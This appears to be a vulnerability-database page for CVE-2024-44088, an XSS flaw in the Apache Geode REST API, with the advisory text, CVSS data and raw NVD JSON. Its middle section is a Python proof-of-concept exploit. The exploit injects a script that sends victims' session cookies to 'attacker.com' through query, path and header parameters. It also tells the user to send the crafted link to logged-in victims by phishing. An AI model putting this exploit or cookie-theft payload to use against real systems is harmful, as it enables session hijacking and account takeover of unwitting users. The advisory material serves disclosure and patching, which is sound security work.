Security Vulnerability Report
中文
CVE-2024-44088 CVSS 6.1 MEDIUM

CVE-2024-44088

Published: 2025-10-14 15:16:01
Last Modified: 2025-11-04 22:16:04

Description

Malicious script injection ('Cross-site Scripting') vulnerability in Apache Geode web-api (REST). This vulnerability allows an attacker that tricks a logged-in user into clicking a specially-crafted link to execute code on the returned page, which could lead to theft of the user's session information and even account takeover. This issue affects Apache Geode: all versions prior to 1.15.2 Users are recommended to upgrade to version 1.15.2, which fixes the issue.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:geode:*:*:*:*:*:*:*:* - VULNERABLE
Apache Geode < 1.15.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-44088 - Apache Geode web-api XSS PoC # Description: Reflected XSS via Apache Geode REST API parameters # Affected: Apache Geode < 1.15.2 import requests TARGET_URL = "http://target-geode-host:7070/geode/v1" # Malicious JavaScript payload to steal session cookies XSS_PAYLOAD = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" # Example 1: Inject via query parameter (reflected XSS) def exploit_query_param(): """Exploit reflected XSS via REST API query parameters""" # The vulnerable endpoint reflects user input without sanitization malicious_url = f"{TARGET_URL}/queries?query={XSS_PAYLOAD}" print(f"[*] Malicious URL: {malicious_url}") print("[*] Send this URL to a logged-in victim via phishing email/IM") # When victim clicks, the response page executes the injected script response = requests.get(malicious_url) if XSS_PAYLOAD in response.text: print("[+] XSS payload reflected in response - VULNERABLE!") return malicious_url # Example 2: Inject via URL path parameter def exploit_path_param(): """Exploit XSS via REST API path parameters""" malicious_url = f"{TARGET_URL}/regions/{XSS_PAYLOAD}" print(f"[*] Path-based XSS URL: {malicious_url}") return malicious_url # Example 3: Inject via custom header def exploit_header(): """Exploit XSS via HTTP headers reflected in error pages""" headers = { "X-Forwarded-For": XSS_PAYLOAD, "User-Agent": XSS_PAYLOAD } response = requests.get(f"{TARGET_URL}/", headers=headers) if XSS_PAYLOAD in response.text: print("[+] Header-based XSS confirmed - VULNERABLE!") if __name__ == "__main__": print("=" * 60) print("CVE-2024-44088 - Apache Geode REST API XSS Exploit") print("=" * 60) exploit_query_param() exploit_path_param() exploit_header()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44088", "sourceIdentifier": "[email protected]", "published": "2025-10-14T15:16:00.613", "lastModified": "2025-11-04T22:16:03.753", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Malicious script injection ('Cross-site Scripting') vulnerability in Apache Geode web-api (REST). This vulnerability allows an attacker that tricks a logged-in user into clicking a specially-crafted link to execute code on the returned page, which could lead to theft of the user's session information and even account takeover.\n\n\n\nThis issue affects Apache Geode: all versions prior to 1.15.2\n\nUsers are recommended to upgrade to version 1.15.2, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:geode:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.15.2", "matchCriteriaId": "58ED8FF6-B326-4422-8F11-E70EC83E7B67"}]}]}], "references": [{"url": "https://lists.apache.org/thread/161r34nokmcc0w74mnf04lskgb8g1d3g", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/14/5", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}